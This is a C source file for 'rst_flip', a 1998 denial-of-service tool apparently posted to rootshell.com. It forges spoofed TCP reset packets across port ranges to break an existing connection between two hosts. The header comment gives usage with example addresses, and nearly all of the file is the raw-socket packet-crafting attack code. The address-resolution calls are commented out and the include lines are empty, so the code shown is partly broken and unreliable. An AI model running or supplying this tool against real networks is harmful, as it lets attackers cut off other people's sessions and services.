/* rst_flip 1998(C) krypt@enteract.com - http://www.rootshell.com/ This is a DOS attack against an existing connection where one of the hosts is a Linux, SunOS, FreeBSD and possibly others. I did not have time to test this code thoroughly.It's purpose is merely to illustrate that it is possible to cause a conenction to be dropped by sending a couple of customized packets to one of the hosts. The usage is quite simple: rst_flip where A and B are the hosts currently having a session and you do not want them to. To check if your hosts are vulnerable you can use scenario like this: Say host A (Windows 10.10.3.21) is connected to port 21 of host B (SunOS - 10.10.1.23). Since it is usually unknown what port A has utilized for this connection ( it is higher than 1024,most of the time :) we have to consider the possible range. So you would do: rst_flip 10.10.3.21 10.10.1.23 1024 2000 21 21 I am in no way responsible for whatever happens after this point. Do not laugh at the code because i already know that. I'll work on it later. It compiles on Linux. cc -o rst_flip rst_flip.c Mad thanks to: tootin. Greets to: l0ck. */ #include #include #include #include #include #include #include #include #include #include #include #define TCPHDR sizeof(struct tcphdr) #define IPHDR sizeof(struct iphdr) #define PACKETSIZE TCPHDR + IPHDR #define SLEEPTIME 30000 // depending on how fast can you barf the packets out #define LO_RST 1 // #define HI_RST 2147483647 // do not ask me about this :) #define ERROR_FAILURE -1 #define ERROR_SUCCESS 0 void resolve_address(struct sockaddr *, char *, u_short); unsigned short in_cksum(unsigned short *,int ); int send_rst(char *, char *, u_short ,u_short , u_long, u_long,u_long); int main(int argc, char *argv[]) { int res,i,j; int spoof_port,target_port; if (argc < 7 || argc> 8 ) { printf ("usage: \n[ http://www.rootshell.com/ ]\n"); exit(ERROR_FAILURE); } for (i = atoi(argv[3]);i <= atoi(argv[4]); i++) { spoof_port = i; for (j = atoi(argv[5]);j <= atoi(argv[6]); j++) { target_port = j; printf("%s : %d \t", argv[1],spoof_port); printf("-> %s :%d\n",argv[2], target_port); res=send_rst(argv[1],argv[2],spoof_port,target_port, HI_RST, HI_RST, 2); usleep(SLEEPTIME); res=send_rst(argv[1],argv[2],spoof_port,target_port, LO_RST,LO_RST, 2); usleep(SLEEPTIME); } } return ERROR_SUCCESS; } // here we put it together int send_rst(char *fromhost, char *tohost, u_short fromport,u_short toport, u_long ack_sq, u_long s_seq, u_long spoof_id) { int i_result; int raw_sock; static struct sockaddr_in local_sin, remote_sin; struct tpack{ struct iphdr ip; struct tcphdr tcp; }tpack; struct pseudo_header{ // pseudo header 4 the checksum unsigned source_address; unsigned dest_address; unsigned char placeholder; unsigned char protocol; unsigned short tcp_length; struct tcphdr tcp; }pheader; // resolve_address((struct sockaddr *)&local_sin, fromhost, fromport); // resolve_address((struct sockaddr *)&remote_sin, tohost, toport); // TCP header tpack.tcp.source=htons(fromport); // 16-bit Source port number tpack.tcp.dest=htons(toport); // 16-bit Destination port tpack.tcp.seq=ntohl(s_seq); // 32-bit Sequence Number */ tpack.tcp.ack_seq=ntohl(ack_sq); // 32-bit Acknowledgement Number */ tpack.tcp.doff=5; // Data offset */ tpack.tcp.res1=0; // reserved */ tpack.tcp.res2=0; // reserved */ tpack.tcp.urg=0; // Urgent offset valid flag */ tpack.tcp.ack=1; // Acknowledgement field valid flag */ tpack.tcp.psh=0; // Push flag */ tpack.tcp.rst=1; // Reset flag */ tpack.tcp.syn=0; // Synchronize sequence numbers flag */ tpack.tcp.fin=0; // Finish sending flag */ tpack.tcp.window=0; // 16-bit Window size */ tpack.tcp.check=0; // 16-bit checksum (to be filled in below) */ tpack.tcp.urg_ptr=0; // 16-bit urgent offset */ // IP header tpack.ip.version=4; // 4-bit Version */ tpack.ip.ihl=5; // 4-bit Header Length */ tpack.ip.tos=0; // 8-bit Type of service */ tpack.ip.tot_len=htons(IPHDR+TCPHDR); // 16-bit Total length */ tpack.ip.id=htons(spoof_id); // 16-bit ID field */ tpack.ip.frag_off=0; // 13-bit Fragment offset */ tpack.ip.ttl=64; // 8-bit Time To Live */ tpack.ip.protocol=IPPROTO_TCP; // 8-bit Protocol */ tpack.ip.check=0; // 16-bit Header checksum (filled in below) */ tpack.ip.saddr=local_sin.sin_addr.s_addr; // 32-bit Source Address */ tpack.ip.daddr=remote_sin.sin_addr.s_addr; // 32-bit Destination Address */ // IP header checksum tpack.ip.check=in_cksum((unsigned short *)&tpack.ip,IPHDR); // TCP header checksum pheader.source_address=(unsigned)tpack.ip.saddr; pheader.dest_address=(unsigned)tpack.ip.daddr; pheader.placeholder=0; pheader.protocol=IPPROTO_TCP; pheader.tcp_length=htons(TCPHDR); bcopy((char *)&tpack.tcp,(char *)&pheader.tcp,TCPHDR); tpack.tcp.check=in_cksum((unsigned short *)&pheader,TCPHDR+12); // Get a socket and send the thing raw_sock = socket(AF_INET, SOCK_RAW, 255); if (raw_sock==-1) { perror("can't open a raw socket."); exit(ERROR_FAILURE); } i_result = sendto(raw_sock,&tpack,PACKETSIZE,0,(struct sockaddr *)&remote_sin,sizeof(remote_sin)); if (i_result != PACKETSIZE) perror("error sending packet"); close(raw_sock); } // this is stolen :) unsigned short in_cksum(unsigned short *ptr,int nbytes){ register long sum; // assumes long == 32 bits u_short oddbyte; register u_short answer; // assumes u_short == 16 bits sum = 0; while (nbytes > 1) { sum += *ptr++; nbytes -= 2; } if (nbytes == 1) { oddbyte = 0; // make sure top half is zero *((u_char *) &oddbyte) = *(u_char *)ptr; // one byte only sum += oddbyte; } sum = (sum >> 16) + (sum & 0xffff); // add high-16 to low-16 sum += (sum >> 16); // add carry answer = ~sum; // ones-complement, then truncate to 16 bits return(answer); } // Resolve the address and populate the sin structs void resolve_address(struct sockaddr * addr, char *hostname, u_short port) { struct sockaddr_in *address; struct hostent *host; address = (struct sockaddr_in *)addr; (void) bzero( (char *)address, sizeof(struct sockaddr_in) ); address->sin_family = AF_INET; address->sin_port = htons(port); address->sin_addr.s_addr = inet_addr(hostname); if ((int)address->sin_addr.s_addr == -1) { host = gethostbyname(hostname); if (host) { bcopy( host->h_addr, (char *)&address->sin_addr,host->h_length); } else { puts("Couldn't resolve the address!!!"); exit(ERROR_FAILURE); } } }